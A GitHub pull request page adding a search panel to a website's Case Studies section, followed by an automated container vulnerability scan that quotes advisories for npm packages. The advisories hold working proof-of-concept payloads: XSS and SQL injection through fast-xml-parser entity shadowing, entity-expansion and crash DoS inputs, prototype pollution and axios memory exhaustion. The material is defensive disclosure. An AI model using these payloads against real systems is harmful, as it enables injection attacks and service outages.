[996] Case Study Search Panel by IhorMasechko · Pull Request #252 · speedandfunction/website

IhorMasechko · 2026-02-25T17:31:15Z

feat(case-studies): add search with shared SearchService and safe regex

Add search bar UI and client handler (form submit, clear, placeholder)
Add SearchService for getSearchTerm and buildSearchRegexPattern (ReDoS-safe)
Use SearchService in index query and NavigationService.applySearchFilter
Preserve filters in search form; include search in clear-all and active state
Respect reduced motion for search bar; fix clear button a11y and template comment

Adds a Case Studies search UI and client handlers plus a shared SearchService. The SearchService normalizes input, enforces length caps, escapes metacharacters and builds ReDoS-resistant regex conditions used in NavigationService and index queries. The search form preserves other filters, supports clear/reset without extra history entries, indicates active state, and respects reduced-motion and accessibility improvements.

- Add search bar UI and client handler (form submit, clear, placeholder) - Add SearchService for getSearchTerm and buildSearchRegexPattern (ReDoS-safe) - Use SearchService in index query and NavigationService.applySearchFilter - Preserve filters in search form; include search in clear-all and active state - Respect reduced motion for search bar; fix clear button a11y and template comment

coderabbitai · 2026-02-25T17:31:33Z

Walkthrough

Introduces server- and client-side search for the Case Studies page. Adds a SearchService that normalizes incoming query params, escapes and limits regex patterns, and builds MongoDB $or search conditions. NavigationService gains applySearchFilter and integrates it into existing filter composition. UrlService adds filterParamKeys and normalizeFilterParams and normalizes req.data.query usage. The case-studies module exposes indexQuery and refactors setupIndexData/setupShowData into reusable helpers. Views, SCSS, and a new public search-handler.js add a dedicated search bar UI, clear behavior, URL construction, and total-pages attribute handling.

Possibly related PRs

PR 154 (speedandfunction/website): Modifies NavigationService and index/show setup workflows—overlaps with NavigationService and module setup changes.
PR 237 (speedandfunction/website): Edits case-studies filter/search UI and shared SCSS—touches the same UI and styling files updated here.
PR 48 (speedandfunction/website): Adjusts case-studies templates and styles—directly related to the view and SCSS changes in this PR.

🚥 Pre-merge checks | ✅ 2 | ❌ 1

❌ Failed checks (1 warning)

Check name	Status	Explanation	Resolution
Docstring Coverage	⚠️ Warning	Docstring coverage is 72.73% which is insufficient. The required threshold is 80.00%.	Write docstrings for the functions missing them to satisfy the coverage threshold.

✅ Passed checks (2 passed)

Check name	Status	Explanation
Description Check	✅ Passed	Check skipped - CodeRabbit’s high-level summary is enabled.
Title check	✅ Passed	The title '[996] Case Study Search Panel' is concise (29 characters), includes the JIRA key [996], and clearly describes the main change: adding a search panel to case studies.

_{✏️ Tip: You can configure your own custom pre-merge checks in the settings.}

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

_{Comment @coderabbitai help to get the list of available commands and usage tips.}

github-actions · 2026-02-25T17:33:55Z

🔍 Vulnerabilities of `apostrophe-cms:test`

📦 Image Reference apostrophe-cms:test

digest	`sha256:330e6d584c0154939a52aaf6dc15cc4facb13767f16f43bcad7f6d0d5eb4f5b9`
vulnerabilities
platform	linux/amd64
size	172 MB
packages	971

📦 Base Image node:24-alpine

also known as	`24-alpine3.23` `24.14-alpine` `24.14-alpine3.23` `24.14.0-alpine` `24.14.0-alpine3.23` `krypton-alpine` `krypton-alpine3.23` `lts-alpine` `lts-alpine3.23`
digest	`sha256:e9445c64ace1a9b5cdc60fc98dd82d1e5142985d902f41c2407e8fffe49d46a3`
vulnerabilities

fast-xml-parser 5.2.0 (npm)

pkg:npm/fast-xml-parser@5.2.0

Incorrect Regular Expression

Affected range	`>=4.1.3 <5.3.5`
Fixed version	`5.3.5`
CVSS Score	`9.3`
CVSS Vector	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N`
EPSS Score	`0.029%`
EPSS Percentile	`8th percentile`

Description

Entity encoding bypass via regex injection in DOCTYPE entity names

Summary

A dot (.) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (<, >, &, ", ') with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered.

Details

The fix for CVE-2023-34104 addressed some regex metacharacters in entity names but missed . (period), which is valid in XML names per the W3C spec.

In DocTypeReader.js, entity names are passed directly to RegExp():
entities[entityName] = {
    regx: RegExp(`&${entityName};`, "g"),
    val: val
};
An entity named l. produces the regex /&l.;/g where . matches any character, including the t in <. Since DOCTYPE entities are replaced before built-in entities, this shadows < entirely.

The same issue exists in OrderedObjParser.js:81 (addExternalEntities), and in the v6 codebase - EntitiesParser.js has a validateEntityName function with a character blacklist, but . is not included:
// v6 EntitiesParser.js line 96
const specialChar = "!?\\/[]$%{}^&*()<>|+";  // no dot
Shadowing all 5 built-in entities

Entity name Regex created Shadows

l. /&l.;/g <

g. /&g.;/g >

am. /&am.;/g &

quo. /&quo.;/g "

apo. /&apo.;/g '

PoC
const { XMLParser } = require("fast-xml-parser");

const xml = `<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY l. "<img src=x onerror=alert(1)>">
]>
<root>
  <text>Hello &lt;b&gt;World&lt;/b&gt;</text>
</root>`;

const result = new XMLParser().parse(xml);
console.log(result.root.text);
// Hello <img src=x onerror=alert(1)>b>World<img src=x onerror=alert(1)>/b>
No special parser options needed - processEntities: true is the default.

When an app renders result.root.text in a page (e.g. innerHTML, template interpolation, SSR), the injected <img onerror> fires.

& can be shadowed too:
const xml2 = `<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY am. "'; DROP TABLE users;--">
]>
<root>SELECT * FROM t WHERE name='O&amp;Brien'</root>`;

const r = new XMLParser().parse(xml2);
console.log(r.root);
// SELECT * FROM t WHERE name='O'; DROP TABLE users;--Brien'
Impact

This is a complete bypass of XML entity encoding. Any application that parses untrusted XML and uses the output in HTML, SQL, or other injection-sensitive contexts is affected.

Default config, no special options

Attacker can replace any < / > / & / " / ' with arbitrary strings

Direct XSS vector when parsed XML content is rendered in a page

v5 and v6 both affected

Suggested fix

Escape regex metacharacters before constructing the replacement regex:
const escaped = entityName.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
entities[entityName] = {
    regx: RegExp(`&${escaped};`, "g"),
    val: val
};
For v6, add . to the blacklist in validateEntityName:
const specialChar = "!?\\/[].{}^&*()<>|+";
Severity

Entity decoding is a fundamental trust boundary in XML processing. This completely undermines it with no preconditions.

Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')

Affected range	`>=4.1.3 <5.3.6`
Fixed version	`5.3.6`
CVSS Score	`7.5`
CVSS Vector	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
EPSS Score	`0.049%`
EPSS Percentile	`15th percentile`

Description

Summary

The XML parser can be forced to do an unlimited amount of entity expansion. With a very small XML input, it’s possible to make the parser spend seconds or even minutes processing a single request, effectively freezing the application.

Details

There is a check in DocTypeReader.js that tries to prevent entity expansion attacks by rejecting entities that reference other entities (it looks for & inside entity values). This does stop classic “Billion Laughs” payloads.

However, it doesn’t stop a much simpler variant.

If you define one large entity that contains only raw text (no & characters) and then reference it many times, the parser will happily expand it every time. There is no limit on how large the expanded result can become, or how many replacements are allowed.

The problem is in replaceEntitiesValue() inside OrderedObjParser.js. It repeatedly runs val.replace() in a loop, without any checks on total output size or execution cost. As the entity grows or the number of references increases, parsing time explodes.

Relevant code:

DocTypeReader.js (lines 28–33): entity registration only checks for &

OrderedObjParser.js (lines 439–458): entity replacement loop with no limits

PoC
const { XMLParser } = require('fast-xml-parser');

const entity = 'A'.repeat(1000);
const refs = '&big;'.repeat(100);
const xml = `<!DOCTYPE foo [<!ENTITY big "${entity}">]><root>${refs}</root>`;

console.time('parse');
new XMLParser().parse(xml); // ~4–8 seconds for ~1.3 KB of XML
console.timeEnd('parse');

// 5,000 chars × 100 refs takes 200+ seconds
// 50,000 chars × 1,000 refs will hang indefinitely
Impact

This is a straightforward denial-of-service issue.

Any service that parses user-supplied XML using the default configuration is vulnerable. Since Node.js runs on a single thread, the moment the parser starts expanding entities, the event loop is blocked. While this is happening, the server can’t handle any other requests.

In testing, a payload of only a few kilobytes was enough to make a simple HTTP server completely unresponsive for several minutes, with all other requests timing out.

Workaround

Avoid using DOCTYPE parsing by processEntities: false option.

Improper Input Validation

Affected range	`>=5.0.9 <=5.3.3`
Fixed version	`5.3.4`
CVSS Score	`7.5`
CVSS Vector	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
EPSS Score	`0.027%`
EPSS Percentile	`7th percentile`

Description

Summary

A RangeError vulnerability exists in the numeric entity processing of fast-xml-parser when parsing XML with out-of-range entity code points (e.g., &#9999999; or &#xFFFFFF;). This causes the parser to throw an uncaught exception, crashing any application that processes untrusted XML input.

Details

The vulnerability exists in /src/xmlparser/OrderedObjParser.js at lines 44-45:
"num_dec": { regex: /&#([0-9]{1,7});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 10)) },
"num_hex": { regex: /&#x([0-9a-fA-F]{1,6});/g, val : (_, str) => String.fromCodePoint(Number.parseInt(str, 16)) },
The String.fromCodePoint() method throws a RangeError when the code point exceeds the valid Unicode range (0 to 0x10FFFF / 1114111). The regex patterns can capture values far exceeding this:

[0-9]{1,7} matches up to 9,999,999

[0-9a-fA-F]{1,6} matches up to 0xFFFFFF (16,777,215)

The entity replacement in replaceEntitiesValue() (line 452) has no try-catch:
val = val.replace(entity.regex, entity.val);
This causes the RangeError to propagate uncaught, crashing the parser and any application using it.

PoC

Setup

Create a directory with these files:
poc/
├── package.json
├── server.js
package.json
{ "dependencies": { "fast-xml-parser": "^5.3.3" } }
server.js
const http = require('http');
const { XMLParser } = require('fast-xml-parser');

const parser = new XMLParser({ processEntities: true, htmlEntities: true });

http.createServer((req, res) => {
  if (req.method === 'POST' && req.url === '/parse') {
    let body = '';
    req.on('data', c => body += c);
    req.on('end', () => {
      const result = parser.parse(body);  // No try-catch - will crash!
      res.end(JSON.stringify(result));
    });
  } else {
    res.end('POST /parse with XML body');
  }
}).listen(3000, () => console.log('http://localhost:3000'));
Run
# Setup
npm install

# Terminal 1: Start server
node server.js

# Terminal 2: Send malicious payload (server will crash)
curl -X POST -H "Content-Type: application/xml" -d '<?xml version="1.0"?><root>&#9999999;</root>' http://localhost:3000/parse
Result

Server crashes with:
RangeError: Invalid code point 9999999
Alternative Payloads

<?xml version="1.0"?><root>&#xFFFFFF;</root>


<?xml version="1.0"?><root attr="&#9999999;"/>
Impact

Denial of Service (DoS):* Any application using fast-xml-parser to process untrusted XML input will crash when encountering malformed numeric entities. This affects:

API servers accepting XML payloads

File processors parsing uploaded XML files

Message queues consuming XML messages

RSS/Atom feed parsers

SOAP/XML-RPC services

A single malicious request is sufficient to crash the entire Node.js process, causing service disruption until manual restart.

fast-xml-parser 4.5.3 (npm)

pkg:npm/fast-xml-parser@4.5.3

Incorrect Regular Expression

Affected range	`>=4.1.3 <5.3.5`
Fixed version	`5.3.5`
CVSS Score	`9.3`
CVSS Vector	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:N`
EPSS Score	`0.029%`
EPSS Percentile	`8th percentile`

Description

Entity encoding bypass via regex injection in DOCTYPE entity names

Summary

A dot (.) in a DOCTYPE entity name is treated as a regex wildcard during entity replacement, allowing an attacker to shadow built-in XML entities (<, >, &, ", ') with arbitrary values. This bypasses entity encoding and leads to XSS when parsed output is rendered.

Details

The fix for CVE-2023-34104 addressed some regex metacharacters in entity names but missed . (period), which is valid in XML names per the W3C spec.

In DocTypeReader.js, entity names are passed directly to RegExp():
entities[entityName] = {
    regx: RegExp(`&${entityName};`, "g"),
    val: val
};
An entity named l. produces the regex /&l.;/g where . matches any character, including the t in <. Since DOCTYPE entities are replaced before built-in entities, this shadows < entirely.

The same issue exists in OrderedObjParser.js:81 (addExternalEntities), and in the v6 codebase - EntitiesParser.js has a validateEntityName function with a character blacklist, but . is not included:
// v6 EntitiesParser.js line 96
const specialChar = "!?\\/[]$%{}^&*()<>|+";  // no dot
Shadowing all 5 built-in entities

Entity name Regex created Shadows

l. /&l.;/g <

g. /&g.;/g >

am. /&am.;/g &

quo. /&quo.;/g "

apo. /&apo.;/g '

PoC
const { XMLParser } = require("fast-xml-parser");

const xml = `<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY l. "<img src=x onerror=alert(1)>">
]>
<root>
  <text>Hello &lt;b&gt;World&lt;/b&gt;</text>
</root>`;

const result = new XMLParser().parse(xml);
console.log(result.root.text);
// Hello <img src=x onerror=alert(1)>b>World<img src=x onerror=alert(1)>/b>
No special parser options needed - processEntities: true is the default.

When an app renders result.root.text in a page (e.g. innerHTML, template interpolation, SSR), the injected <img onerror> fires.

& can be shadowed too:
const xml2 = `<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY am. "'; DROP TABLE users;--">
]>
<root>SELECT * FROM t WHERE name='O&amp;Brien'</root>`;

const r = new XMLParser().parse(xml2);
console.log(r.root);
// SELECT * FROM t WHERE name='O'; DROP TABLE users;--Brien'
Impact

This is a complete bypass of XML entity encoding. Any application that parses untrusted XML and uses the output in HTML, SQL, or other injection-sensitive contexts is affected.

Default config, no special options

Attacker can replace any < / > / & / " / ' with arbitrary strings

Direct XSS vector when parsed XML content is rendered in a page

v5 and v6 both affected

Suggested fix

Escape regex metacharacters before constructing the replacement regex:
const escaped = entityName.replace(/[.*+?^${}()|[\]\\]/g, '\\$&');
entities[entityName] = {
    regx: RegExp(`&${escaped};`, "g"),
    val: val
};
For v6, add . to the blacklist in validateEntityName:
const specialChar = "!?\\/[].{}^&*()<>|+";
Severity

Entity decoding is a fundamental trust boundary in XML processing. This completely undermines it with no preconditions.

Improper Restriction of Recursive Entity References in DTDs ('XML Entity Expansion')

Affected range	`>=4.1.3 <5.3.6`
Fixed version	`5.3.6`
CVSS Score	`7.5`
CVSS Vector	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
EPSS Score	`0.049%`
EPSS Percentile	`15th percentile`

Description

Summary

The XML parser can be forced to do an unlimited amount of entity expansion. With a very small XML input, it’s possible to make the parser spend seconds or even minutes processing a single request, effectively freezing the application.

Details

There is a check in DocTypeReader.js that tries to prevent entity expansion attacks by rejecting entities that reference other entities (it looks for & inside entity values). This does stop classic “Billion Laughs” payloads.

However, it doesn’t stop a much simpler variant.

If you define one large entity that contains only raw text (no & characters) and then reference it many times, the parser will happily expand it every time. There is no limit on how large the expanded result can become, or how many replacements are allowed.

The problem is in replaceEntitiesValue() inside OrderedObjParser.js. It repeatedly runs val.replace() in a loop, without any checks on total output size or execution cost. As the entity grows or the number of references increases, parsing time explodes.

Relevant code:

DocTypeReader.js (lines 28–33): entity registration only checks for &

OrderedObjParser.js (lines 439–458): entity replacement loop with no limits

PoC
const { XMLParser } = require('fast-xml-parser');

const entity = 'A'.repeat(1000);
const refs = '&big;'.repeat(100);
const xml = `<!DOCTYPE foo [<!ENTITY big "${entity}">]><root>${refs}</root>`;

console.time('parse');
new XMLParser().parse(xml); // ~4–8 seconds for ~1.3 KB of XML
console.timeEnd('parse');

// 5,000 chars × 100 refs takes 200+ seconds
// 50,000 chars × 1,000 refs will hang indefinitely
Impact

This is a straightforward denial-of-service issue.

Any service that parses user-supplied XML using the default configuration is vulnerable. Since Node.js runs on a single thread, the moment the parser starts expanding entities, the event loop is blocked. While this is happening, the server can’t handle any other requests.

In testing, a payload of only a few kilobytes was enough to make a simple HTTP server completely unresponsive for several minutes, with all other requests timing out.

Workaround

Avoid using DOCTYPE parsing by processEntities: false option.

form-data 4.0.2 (npm)

pkg:npm/form-data@4.0.2

Use of Insufficiently Random Values

Affected range	`>=4.0.0 <4.0.4`
Fixed version	`4.0.4`
CVSS Score	`9.4`
CVSS Vector	`CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:H/SI:H/SA:N`
EPSS Score	`0.177%`
EPSS Percentile	`39th percentile`

Description

Summary

form-data uses Math.random() to select a boundary value for multipart form-encoded data. This can lead to a security issue if an attacker:

can observe other values produced by Math.random in the target application, and

can control one field of a request made using form-data

Because the values of Math.random() are pseudo-random and predictable (see: https://blog.securityevaluators.com/hacking-the-javascript-lottery-80cc437e3b7f), an attacker who can observe a few sequential values can determine the state of the PRNG and predict future values, includes those used to generate form-data's boundary value. The allows the attacker to craft a value that contains a boundary value, allowing them to inject additional parameters into the request.

This is largely the same vulnerability as was recently found in undici by parrot409 -- I'm not affiliated with that researcher but want to give credit where credit is due! My PoC is largely based on their work.

Details

The culprit is this line here: https://github.com/form-data/form-data/blob/426ba9ac440f95d1998dac9a5cd8d738043b048f/lib/form_data.js#L347

An attacker who is able to predict the output of Math.random() can predict this boundary value, and craft a payload that contains the boundary value, followed by another, fully attacker-controlled field. This is roughly equivalent to any sort of improper escaping vulnerability, with the caveat that the attacker must find a way to observe other Math.random() values generated by the application to solve for the state of the PRNG. However, Math.random() is used in all sorts of places that might be visible to an attacker (including by form-data itself, if the attacker can arrange for the vulnerable application to make a request to an attacker-controlled server using form-data, such as a user-controlled webhook -- the attacker could observe the boundary values from those requests to observe the Math.random() outputs). A common example would be a x-request-id header added by the server. These sorts of headers are often used for distributed tracing, to correlate errors across the frontend and backend. Math.random() is a fine place to get these sorts of IDs (in fact, opentelemetry uses Math.random for this purpose)

PoC

PoC here: https://github.com/benweissmann/CVE-2025-7783-poc

Instructions are in that repo. It's based on the PoC from https://hackerone.com/reports/2913312 but simplified somewhat; the vulnerable application has a more direct side-channel from which to observe Math.random() values (a separate endpoint that happens to include a randomly-generated request ID).

Impact

For an application to be vulnerable, it must:

Use form-data to send data including user-controlled data to some other system. The attacker must be able to do something malicious by adding extra parameters (that were not intended to be user-controlled) to this request. Depending on the target system's handling of repeated parameters, the attacker might be able to overwrite values in addition to appending values (some multipart form handlers deal with repeats by overwriting values instead of representing them as an array)

Reveal values of Math.random(). It's easiest if the attacker can observe multiple sequential values, but more complex math could recover the PRNG state to some degree of confidence with non-sequential values.

If an application is vulnerable, this allows an attacker to make arbitrary requests to internal systems.

swiper 11.2.6 (npm)

pkg:npm/swiper@11.2.6

Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')

Affected range	`>=6.5.1 <12.1.2`
Fixed version	`12.1.2`
CVSS Score	`9.4`
CVSS Vector	`CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H`
EPSS Score	`0.032%`
EPSS Percentile	`9th percentile`

Description

Summary

A prototype pollution vulnerability exists in the the npm package swiper (>=6.5.1, < 12.1.2). Despite a previous fix that attempted to mitigate prototype pollution by checking whether user input contained a forbidden key, it is still possible to pollute Object.prototype via a crafted input using Array.prototype. The exploit works across Windows and Linux and on Node and Bun runtimes. This issue is fixed in version 12.1.2

Details

The vulnerability resides in line 94 of shared/utils.mjs where indexOf() function is used to check whether user provided input contain forbidden strings.

PoC

Steps to reproduce

Install latest version of swiper using npm install

Run the following code snippet:
var swiper = require('swiper');
Array.prototype.indexOf = () => -1;        
let obj = {};
var malicious_payload = '{"__proto__":{"polluted":"yes"}}';
console.log({}.polluted);
swiper.default.extendDefaults(JSON.parse(malicious_payload));
console.log({}.polluted);  // prints yes -> indicating that the patch was bypassed and prototype pollution occurred
Expected behavior

Prototype pollution should be prevented and {} should not gain new properties.
This should be printed on the console:
undefined
undefined OR throw an Error
Actual behavior

Object.prototype is polluted
This is printed on the console:
undefined 
yes
Impact

This is a prototype pollution vulnerability, which can have severe security implications depending on how swiper is used by downstream applications. Any application that processes attacker-controlled input using this package may be affected.
It could potentially lead to the following problems:

Authentication bypass

Denial of service - Even if an attacker is not able to exploit prototype pollution in swiper, if there is a prototype pollution within the project from other dependencies, modifying global Array.prototype.indexOf property can result in crash when swiper.default.extendDefaults is called because swiper makes use of this global property. This can lead to Denial of Service.

Remote code execution (if polluted property is passed to sinks like eval or child_process)

Related CVEs

CVE-2026-25521
CVE-2026-25047
CVE-2026-26021

axios 1.8.4 (npm)

pkg:npm/axios@1.8.4

Improper Check for Unusual or Exceptional Conditions

Affected range	`>=1.0.0 <=1.13.4`
Fixed version	`1.13.5`
CVSS Score	`7.5`
CVSS Vector	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
EPSS Score	`0.033%`
EPSS Percentile	`9th percentile`

Description

Denial of Service via proto Key in mergeConfig

Summary

The mergeConfig function in axios crashes with a TypeError when processing configuration objects containing __proto__ as an own property. An attacker can trigger this by providing a malicious configuration object created via JSON.parse(), causing complete denial of service.

Details

The vulnerability exists in lib/core/mergeConfig.js at lines 98-101:
utils.forEach(Object.keys({ ...config1, ...config2 }), function computeConfigValue(prop) {
  const merge = mergeMap[prop] || mergeDeepProperties;
  const configValue = merge(config1[prop], config2[prop], prop);
  (utils.isUndefined(configValue) && merge !== mergeDirectKeys) || (config[prop] = configValue);
});
When prop is '__proto__':

JSON.parse('{"__proto__": {...}}') creates an object with __proto__ as an own enumerable property

Object.keys() includes '__proto__' in the iteration

mergeMap['__proto__'] performs prototype chain lookup, returning Object.prototype (truthy object)

The expression mergeMap[prop] || mergeDeepProperties evaluates to Object.prototype

Object.prototype(...) throws TypeError: merge is not a function

The mergeConfig function is called by:

Axios._request() at lib/core/Axios.js:75

Axios.getUri() at lib/core/Axios.js:201

All HTTP method shortcuts (get, post, etc.) at lib/core/Axios.js:211,224

PoC
import axios from "axios";

const maliciousConfig = JSON.parse('{"__proto__": {"x": 1}}');
await axios.get("https://httpbin.org/get", maliciousConfig);
Reproduction steps:

Clone axios repository or npm install axios

Create file poc.mjs with the code above

Run: node poc.mjs

Observe the TypeError crash

Verified output (axios 1.13.4):
TypeError: merge is not a function
    at computeConfigValue (lib/core/mergeConfig.js:100:25)
    at Object.forEach (lib/utils.js:280:10)
    at mergeConfig (lib/core/mergeConfig.js:98:9)
Control tests performed:

Test Config Result

Normal config {"timeout": 5000} SUCCESS

Malicious config JSON.parse('{"__proto__": {"x": 1}}') CRASH

Nested object {"headers": {"X-Test": "value"}} SUCCESS

Attack scenario:
An application that accepts user input, parses it with JSON.parse(), and passes it to axios configuration will crash when receiving the payload {"__proto__": {"x": 1}}.

Impact

Denial of Service - Any application using axios that processes user-controlled JSON and passes it to axios configuration methods is vulnerable. The application will crash when processing the malicious payload.

Affected environments:

Node.js servers using axios for HTTP requests

Any backend that passes parsed JSON to axios configuration

This is NOT prototype pollution - the application crashes before any assignment occurs.

Allocation of Resources Without Limits or Throttling

Affected range	`>=1.0.0 <1.12.0`
Fixed version	`1.12.0`
CVSS Score	`7.5`
CVSS Vector	`CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H`
EPSS Score	`0.102%`
EPSS Percentile	`28th percentile`

Description

Summary

When Axios runs on Node.js and is given a URL with the data: scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (Buffer/Blob) and returns a synthetic 200 response.
This path ignores maxContentLength / maxBodyLength (which only protect HTTP responses), so an attacker can supply a very large data: URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested responseType: 'stream'.

Details

The Node adapter (lib/adapters/http.js) supports the data: scheme. When axios encounters a request whose URL starts with data:, it does not perform an HTTP request. Instead, it calls fromDataURI() to decode the Base64 payload into a Buffer or Blob.

Relevant code from [httpAdapter](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):

const fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);
const parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);
const protocol = parsed.protocol || supportedProtocols[0];

if (protocol === 'data:') {
  let convertedData;
  if (method !== 'GET') {
    return settle(resolve, reject, { status: 405, ... });
  }
  convertedData = fromDataURI(config.url, responseType === 'blob', {
    Blob: config.env && config.env.Blob
  });
  return settle(resolve, reject, { data: convertedData, status: 200, ... });
}

The decoder is in [lib/helpers/fromDataURI.js](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):

export default function fromDataURI(uri, asBlob, options) {
  ...
  if (protocol === 'data') {
    uri = protocol.length ? uri.slice(protocol.length + 1) : uri;
    const match = DATA_URL_PATTERN.exec(uri);
    ...
    const body = match[3];
    const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');
    if (asBlob) { return new _Blob([buffer], {type: mime}); }
    return buffer;
  }
  throw new AxiosError('Unsupported protocol ' + protocol, ...);
}

The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.
It does not honour config.maxContentLength or config.maxBodyLength, which only apply to HTTP streams.
As a result, a data: URI of arbitrary size can cause the Node process to allocate the entire content into memory.

In comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when totalResponseBytes exceeds [maxContentLength](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for data: URIs.

PoC

const axios = require('axios');

async function main() {
  // this example decodes ~120 MB
  const base64Size = 160_000_000; // 120 MB after decoding
  const base64 = 'A'.repeat(base64Size);
  const uri = 'data:application/octet-stream;base64,' + base64;

  console.log('Generating URI with base64 length:', base64.length);
  const response = await axios.get(uri, {
    responseType: 'arraybuffer'
  });

  console.log('Received bytes:', response.data.length);
}

main().catch(err => {
  console.error('Error:', err.message);
});

Run with limited heap to force a crash:

node --max-old-space-size=100 poc.js

Since Node heap is capped at 100 MB, the process terminates with an out-of-memory error:

<--- Last few GCs --->
…
FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory
1: 0x… node::Abort() …
…

Mini Real App PoC:
A small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore maxContentLength , maxBodyLength and decodes into memory on Node before streaming enabling DoS.

import express from "express";
import morgan from "morgan";
import axios from "axios";
import http from "node:http";
import https from "node:https";
import { PassThrough } from "node:stream";

const keepAlive = true;
const httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });
const httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });
const axiosClient = axios.create({
  timeout: 10000,
  maxRedirects: 5,
  httpAgent, httpsAgent,
  headers: { "User-Agent": "axios-poc-link-preview/0.1 (+node)" },
  validateStatus: c => c >= 200 && c < 400
});

const app = express();
const PORT = Number(process.env.PORT || 8081);
const BODY_LIMIT = process.env.MAX_CLIENT_BODY || "50mb";

app.use(express.json({ limit: BODY_LIMIT }));
app.use(morgan("combined"));

app.get("/healthz", (req,res)=>res.send("ok"));

/**
 * POST /preview { "url": "<http|https|data URL>" }
 * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).
 */

app.post("/preview", async (req, res) => {
  const url = req.body?.url;
  if (!url) return res.status(400).json({ error: "missing url" });

  let u;
  try { u = new URL(String(url)); } catch { return res.status(400).json({ error: "invalid url" }); }

  // Developer allows using data:// in the allowlist
  const allowed = new Set(["http:", "https:", "data:"]);
  if (!allowed.has(u.protocol)) return res.status(400).json({ error: "unsupported scheme" });

  const controller = new AbortController();
  const onClose = () => controller.abort();
  res.on("close", onClose);

  const before = process.memoryUsage().heapUsed;

  try {
    const r = await axiosClient.get(u.toString(), {
      responseType: "stream",
      maxContentLength: 8 * 1024, // Axios will ignore this for data:
      maxBodyLength: 8 * 1024,    // Axios will ignore this for data:
      signal: controller.signal
    });

    // stream only the first 64KB back
    const cap = 64 * 1024;
    let sent = 0;
    const limiter = new PassThrough();
    r.data.on("data", (chunk) => {
      if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); }
      else { sent += chunk.length; limiter.write(chunk); }
    });
    r.data.on("end", () => limiter.end());
    r.data.on("error", (e) => limiter.destroy(e));

    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    limiter.pipe(res);
  } catch (err) {
    const after = process.memoryUsage().heapUsed;
    res.set("x-heap-increase-mb", ((after - before)/1024/1024).toFixed(2));
    res.status(502).json({ error: String(err?.message || err) });
  } finally {
    res.off("close", onClose);
  }
});

app.listen(PORT, () => {
  console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);
  console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);
});

Run this app and send 3 post requests:

SIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString("base64"); process.stdout.write(JSON.stringify({url:"data:application/octet-stream;base64,"+b}))' \
| tee payload.json >/dev/null
seq 1 3 | xargs -P3 -I{} curl -sS -X POST "$URL" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null```

Suggestions

Enforce size limits
For protocol === 'data:', inspect the length of the Base64 payload before decoding. If config.maxContentLength or config.maxBodyLength is set, reject URIs whose payload exceeds the limit.
Stream decoding
Instead of decoding the entire payload in one Buffer.from call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.

node-forge 1.3.1 (npm)

pkg:npm/node-forge@1.3.1

Uncontrolled Recursion

Affected range	`<1.3.2`
Fixed version	`1.3.2`
CVSS Score	`8.7`
CVSS Vector	`CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`
EPSS Score	`0.115%`
EPSS Percentile	`30th percentile`

Description

Summary

An Uncontrolled Recursion (CWE-674) vulnerability in node-forge versions 1.3.1 and below enables remote, unauthenticated attackers to craft deep ASN.1 structures that trigger unbounded recursive parsing. This leads to a Denial-of-Service (DoS) via stack exhaustion when parsing untrusted DER inputs.

Details

